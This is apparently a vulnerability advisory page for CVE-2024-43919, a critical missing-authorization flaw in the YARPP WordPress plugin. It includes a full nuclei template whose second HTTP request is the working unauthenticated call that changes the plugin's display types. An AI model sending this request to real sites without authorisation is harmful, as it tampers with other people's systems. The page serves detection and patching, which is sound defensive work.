YARPP <= 5.30.10 - Missing Authorization

criticalseverity

9.8CVSS score

44.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The YARPP Yet Another Related Posts Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in the ~/includes/yarpp_pro_set_display_types.php file in all versions up to, and including, 5.30.10. This makes it possible for unauthenticated attackers to set display types.

Impact

Unauthenticated attackers can modify display types in the YARPP plugin without proper authorization.

Fix

Update YARPP plugin to a version later than 5.30.10 that patches the missing authorization vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/plugins/yet-another-related-posts-plugin/")
Send: GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page
Positive when: len(body) == 2 and contains(body, "ok") and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-43919 -u <target>

The full check

id: CVE-2024-43919

info:
  name: YARPP <= 5.30.10 - Missing Authorization
  author: s4e-io
  severity: critical
  description: |
    The YARPP Yet Another Related Posts Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in the ~/includes/yarpp_pro_set_display_types.php file in all versions up to, and including, 5.30.10. This makes it possible for unauthenticated attackers to set display types.
  impact: |
    Unauthenticated attackers can modify display types in the YARPP plugin without proper authorization.
  remediation: |
    Update YARPP plugin to a version later than 5.30.10 that patches the missing authorization vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-43919
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/yet-another-related-posts-plugin/yarpp-53010-missing-authorization
    - https://patchstack.com/database/vulnerability/yet-another-related-posts-plugin/wordpress-yet-another-related-posts-plugin-yarpp-plugin-5-30-10-broken-access-control-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43919
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43919
    cwe-id: CWE-862
    epss-score: 0.44896
    epss-percentile: 0.98786
    cpe: cpe:2.3:a:yarpp:yet_another_related_posts_plugin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yarpp
    product: yet_another_related_posts_plugin
    framework: wordpress
    fofa-query: body="wp-content/plugins/yet-another-related-posts-plugin/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,auth-bypass,yet-another-related-posts-plugin,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/plugins/yet-another-related-posts-plugin/")'
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 2'
          - 'contains(body, "ok")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from